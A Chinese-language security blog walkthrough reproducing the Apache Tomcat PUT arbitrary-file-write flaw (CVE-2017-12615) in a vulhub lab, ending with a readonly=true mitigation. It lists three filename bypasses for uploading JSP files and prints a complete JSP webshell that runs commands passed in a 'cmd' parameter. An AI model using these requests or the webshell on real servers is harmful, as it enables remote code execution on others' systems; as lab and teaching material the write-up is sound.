Tomcat任意文件写入(CVE-2017-12615)

admin 2023年2月28日15:17:54评论52 views字数 1790阅读5分58秒阅读模式

一、Tomcat漏洞的本质

里面一些重要的文件,需要了解其作用:

1.server.xml:配置tomcat启动的端口号,host主机,Context等。
2.web.xml文件:部署描述文件,这个web.xml描述了一些默认的servlet,部署每个webapp时,都会调用这个文件,配置该web应用的默认servlet。

3.tomcat-users.xml:tomcat用户密码与权限。

二、漏洞描述

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,CVE-2017-12615CVE-2017-12616,其中远程代码执行执行漏洞(CVE-2017-12615)当Tomcat运行在Windows主机上,且启用了HTTP PUT请求方法, (例如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的JSP文件,之后,JSP文件中的代码将能服务器执行。

三、影响范围

影响范围:Apache Tomcat 7.0.0-7.0.81(默认配置)

复现环境:Apache Tomcat 8.5.19

四、漏洞原理

漏洞产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但是限制了jsp后缀,不过对于不同平台有多种绕过方法。

五、漏洞复现

这里我们使用vulhub靶场进行复现。


cd CVE-2017-12615docker-compose up -d


Tomcat任意文件写入(CVE-2017-12615)


docker psdocker exec -ti 2 bashcat conf/web.xml | grep readonly


Tomcat任意文件写入(CVE-2017-12615)

我们访问一下漏洞页面。

漏洞地址:http://192.168.111.133:8080/

Tomcat任意文件写入(CVE-2017-12615)

我们抓包,修改如下:Tomcat任意文件写入(CVE-2017-12615)

Tomcat任意文件写入(CVE-2017-12615)

可以看到,成功上传了文件,但是直接上传jsp文件是不被允许的!!!

这里我们需要绕过。

Windows下不允许文件以空格结尾以PUT /shell1.jsp%20 HTTP/1.1上传到windows会被自动去掉末尾的空格。
WindowsNTFS流PUT /shell2.jsp::$DATA HTTP/1.1
在文件名字中是非法的,也会被去除(Linux/Windows)PUT /shell3.jsp /HTTP/1.1

    Tomcat任意文件写入(CVE-2017-12615)

    Tomcat任意文件写入(CVE-2017-12615)Tomcat任意文件写入(CVE-2017-12615)可以看到三种方法均上传成功。

    Tomcat任意文件写入(CVE-2017-12615)

    接下来,我们上传冰蝎jsp一句话。

    Tomcat任意文件写入(CVE-2017-12615)

    我们访问页面查看:http://192.168.111.133:8080/4.jsp

    Tomcat任意文件写入(CVE-2017-12615)

    我们使用冰蝎链接。

    Tomcat任意文件写入(CVE-2017-12615)Tomcat任意文件写入(CVE-2017-12615)

    这里使用以下cmd一句话。

    <%@ page import="java.util.*,java.io.*"%>
    <%
    if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
    }
    %>

    Burp截图如下:

    Tomcat任意文件写入(CVE-2017-12615)

    我们访问链接:http://192.168.111.133:8080/5.jsp?cmd=id

    Tomcat任意文件写入(CVE-2017-12615)

    六、临时修复建议

    用户可以禁用PUT方法来防护此漏洞,操作方式如下:

    在Tomcat的web.xml文件中配置org.apache.catalina.servlets.DefualtServlet的初始化参数。

    <init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
    </init-param>

    确保readonly参数为true(默认值),即不允许DELETE和PUT操作。


    原文始发于微信公众号(藏剑安全):Tomcat任意文件写入(CVE-2017-12615)

    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2023年2月28日15:17:54
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     Tomcat任意文件写入(CVE-2017-12615)https://cn-sec.com/archives/1579559.html

    发表评论

    匿名网友 填写信息